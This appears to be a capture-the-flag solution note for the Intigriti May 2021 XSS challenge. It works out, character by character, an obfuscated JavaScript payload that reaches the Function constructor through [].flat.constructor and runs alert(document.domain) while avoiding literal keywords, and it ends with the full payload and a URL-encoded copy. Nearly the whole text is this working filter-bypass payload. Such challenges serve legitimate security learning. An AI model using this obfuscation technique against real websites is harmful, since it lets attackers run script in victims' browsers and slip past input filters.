intigriti-xss-may-2021

https://twitter.com/intigriti/status/1399317852788830211

[][`flat`][`constructor`]`alert(document.domain)```

`${e}` => [object HTMLProgressElement]
`${[]/[]}` => NaN
`${[][[]]}` => undefined

flat
constructor
alert(document.domain)

f => `${[][[]]}`[4]
l => `${e}`[21]
a => `${[]/[]}`[1]
t => `${e}`[26]

c => `${e}`[5]
o => `${e}`[1]
n => `${e}`[25]
s => `${e}`[19]
t => `${e}`[26]
r => `${e}`[16]
u => `${[][[]]}`[0]
c => `${e}`[5]
t => `${e}`[26]
o => `${e}`[1]
r => `${e}`[16]

a => `${[]/[]}`[1]
l => `${e}`[21]
e => `e`
r => `${e}`[16]
t => `${e}`[26]


( => [[][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]]+``][0][13]
) => [[][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]]+``][0][14]

flat => `${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]
constructor => `${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[19]+`${e}`[26]+`${e}`[16]+`${[][[]]}`[0]+`${e}`[5]+`${e}`[26]+`${e}`[1]+`${e}`[16]
alert => `${[]/[]}`[1]+`${e}`[21]+`e`+`${e}`[16]+`${e}`[26]

so far: [][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[19]+`${e}`[26]+`${e}`[16]+`${[][[]]}`[0]+`${e}`[5]+`${e}`[26]+`${e}`[1]+`${e}`[16]]`alert(document.domain)```

a => [[]+[]/[]][0][1]
l => [[]+e][0][21]
e => [[]+e][0][4]
r => [[]+e][0][13]
t => [[]+e][0][26]

alert => [[]+[]/[]][0][1]+[[]+e][0][21]+[[]+e][0][4]+[[]+e][0][13]+[[]+e][0][26]

f => [[]+[][[]]][0][4]
l => [[]+e][0][21]
a => [[]+[]/[]][0][1]
t => [[]+e][0][26]

flat => [[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]

( => [[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][13]
) => [[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][14]

d => [[]+[][[]]][0][2]
o => [[]+e][0][1]
c => [[]+e][0][5]
u => [[]+[][[]]][0][0]
m => [[]+e][0][23]
e => [[]+e][0][4]
n => [[]+e][0][25]
t => [[]+e][0][26]

document => [[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][5]+[[]+[][[]]][0][0]+[[]+e][0][23]+[[]+e][0][4]+[[]+e][0][25]+[[]+e][0][26]

. => [[]+13/37][0][1]

d => [[]+[][[]]][0][2]
o => [[]+e][0][1]
m => [[]+e][0][23]
a => [[]+[]/[]][0][1]
i => [[]+[][[]]][0][5]
n => [[]+e][0][25]

domain => [[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][23]+[[]+[]/[]][0][1]+[[]+[][[]]][0][5]+[[]+e][0][25]


final => [][`${[][[]]}`[4]+`${e}`[21]+`${[]/[]}`[1]+`${e}`[26]][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[19]+`${e}`[26]+`${e}`[16]+`${[][[]]}`[0]+`${e}`[5]+`${e}`[26]+`${e}`[1]+`${e}`[16]]`e${[[]+[]/[]][0][1]+[[]+e][0][21]+[[]+e][0][4]+[[]+e][0][13]+[[]+e][0][26]+[[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][13]+[[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][5]+[[]+[][[]]][0][0]+[[]+e][0][23]+[[]+e][0][4]+[[]+e][0][25]+[[]+e][0][26]+[[]+13/37][0][1]+[[]+[][[]]][0][2]+[[]+e][0][1]+[[]+e][0][23]+[[]+[]/[]][0][1]+[[]+[][[]]][0][5]+[[]+e][0][25]+[[]+[][[[]+[][[]]][0][4]+[[]+e][0][21]+[[]+[]/[]][0][1]+[[]+e][0][26]]][0][14]}```

urlencoded => %5B%5D%5B%60%24%7B%5B%5D%5B%5B%5D%5D%7D%60%5B4%5D%2B%60%24%7Be%7D%60%5B21%5D%2B%60%24%7B%5B%5D%2F%5B%5D%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B26%5D%5D%5B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%60%24%7Be%7D%60%5B19%5D%2B%60%24%7Be%7D%60%5B26%5D%2B%60%24%7Be%7D%60%5B16%5D%2B%60%24%7B%5B%5D%5B%5B%5D%5D%7D%60%5B0%5D%2B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B26%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B16%5D%5D%60e%24%7B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B21%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B13%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B21%5D%2B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%5D%5D%5B0%5D%5B13%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B2%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B5%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B0%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B23%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B25%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%2B%5B%5B%5D%2B13%2F37%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B2%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B23%5D%2B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B5%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B25%5D%2B%5B%5B%5D%2B%5B%5D%5B%5B%5B%5D%2B%5B%5D%5B%5B%5D%5D%5D%5B0%5D%5B4%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B21%5D%2B%5B%5B%5D%2B%5B%5D%2F%5B%5D%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%2Be%5D%5B0%5D%5B26%5D%5D%5D%5B0%5D%5B14%5D%7D%60%60%60